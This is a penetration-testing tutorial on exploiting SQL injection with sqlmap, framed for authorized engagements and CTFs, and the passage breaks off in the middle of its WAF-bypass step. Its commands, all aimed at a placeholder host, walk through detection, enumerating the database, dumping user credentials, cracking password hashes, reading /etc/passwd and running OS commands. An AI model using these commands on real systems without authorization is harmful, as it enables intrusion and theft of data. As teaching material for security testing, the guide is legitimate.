Exploiting SQL Injection with sqlmap

When to Use

• During authorized web application penetration testing engagements
• When manual testing reveals potential SQL injection points in parameters, headers, or cookies
• For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
• When you need to demonstrate the impact of SQL injection by extracting data from backend databases
• During CTF challenges involving SQL injection exploitation

Prerequisites

• Authorization: Written penetration testing agreement (Rules of Engagement) for the target
• sqlmap: Install via pip install sqlmap or apt install sqlmap on Kali Linux
• Python 3.6+: Required runtime for sqlmap
• Burp Suite (optional): For capturing and replaying HTTP requests
• Target access: Network connectivity to the target web application
• Browser with proxy: Firefox with FoxyProxy for intercepting requests

Workflow

Step 1: Identify Potential Injection Points

Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.

# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1

# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"

Step 2: Run sqlmap Basic Detection Scan

Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.

# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent

# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent

# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent

Step 3: Enumerate Database Structure

Once injection is confirmed, enumerate databases, tables, and columns.

# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent

# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent

Step 4: Extract Data from Target Tables

Dump the contents of sensitive tables to demonstrate impact.

# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent

# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent

# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent

Step 5: Test for Advanced Exploitation Vectors

Assess the full impact by testing OS-level access and file operations.

# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent

# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent

# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent

Step 6: Use Tamper Scripts to Bypass WAF/Filters

When Web Application Firewalls or input filters block basic payloads, use tamper scripts.

# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \

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